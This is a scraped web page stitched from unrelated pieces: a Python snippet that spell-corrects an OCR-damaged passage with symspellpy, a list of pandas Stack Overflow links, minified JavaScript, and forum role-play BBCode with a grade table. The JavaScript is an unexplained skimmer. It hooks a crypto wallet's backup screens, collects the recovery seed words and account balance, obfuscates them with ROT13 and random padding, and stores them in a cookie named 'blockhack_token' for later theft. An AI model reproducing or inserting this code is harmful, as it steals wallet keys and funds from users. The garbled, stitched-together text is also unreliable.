python

import pkg_resources, string
from symspellpy import SymSpell, Verbosity

spell = SymSpell(max_dictionary_edit_distance=2, prefix_length=7)
dictionary_path = pkg_resources.resource_filename('symspellpy', 'frequency_dictionary_en_82_765.txt')
spell.load_dictionary(dictionary_path, term_index=0, count_index=1)

def correct(w):
  word = w
  o = spell.lookup(w,
    Verbosity.CLOSEST,
    max_edit_distance=2,
    transfer_casing=True)
  if not o: return w
  word = o[0].term
  if w[0].isupper():
    word = word[0].upper() + ''.join(word[1:])
  # find start punctuation
  start_idx = 0
  start_punct = ''
  while w[start_idx] in string.punctuation:
    start_punct += w[start_idx]
    if start_idx + 1 < len(w):
      start_idx += 1
    else:
      break
  # find end punctuation
  end_idx = 1
  end_punct = ''
  while w[-end_idx] in string.punctuation:
    end_punct += w[-end_idx]
    if end_idx - 1 > 0:
      end_idx -= 1
    else:
      break
  return start_punct + word + end_punct

s = '''Now that we have carried our geographical analogy quite far, we return to the uestion of isomorphisms between brains. You might well wonder why this whole uestion of brain isomorphisms has been stressed so much. What does it matter if two rains are isomorphic, or quasi-isomorphic, or not isomorphic at all? The answer is that e have an intuitive sense that, although other people differ from us in important ways, hey are still "the same" as we are in some deep and important ways. It would be nstructive to be able to pinpoint what this invariant core of human intelligence is, and hen to be able to describe the kinds of "embellishments" which can be added to it, aking each one of us a unique embodiment of this abstract and mysterious quality alled "intelligence".'''
cleaned = ' '.join([correct(w) for w in s.split()])
print(cleaned)

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr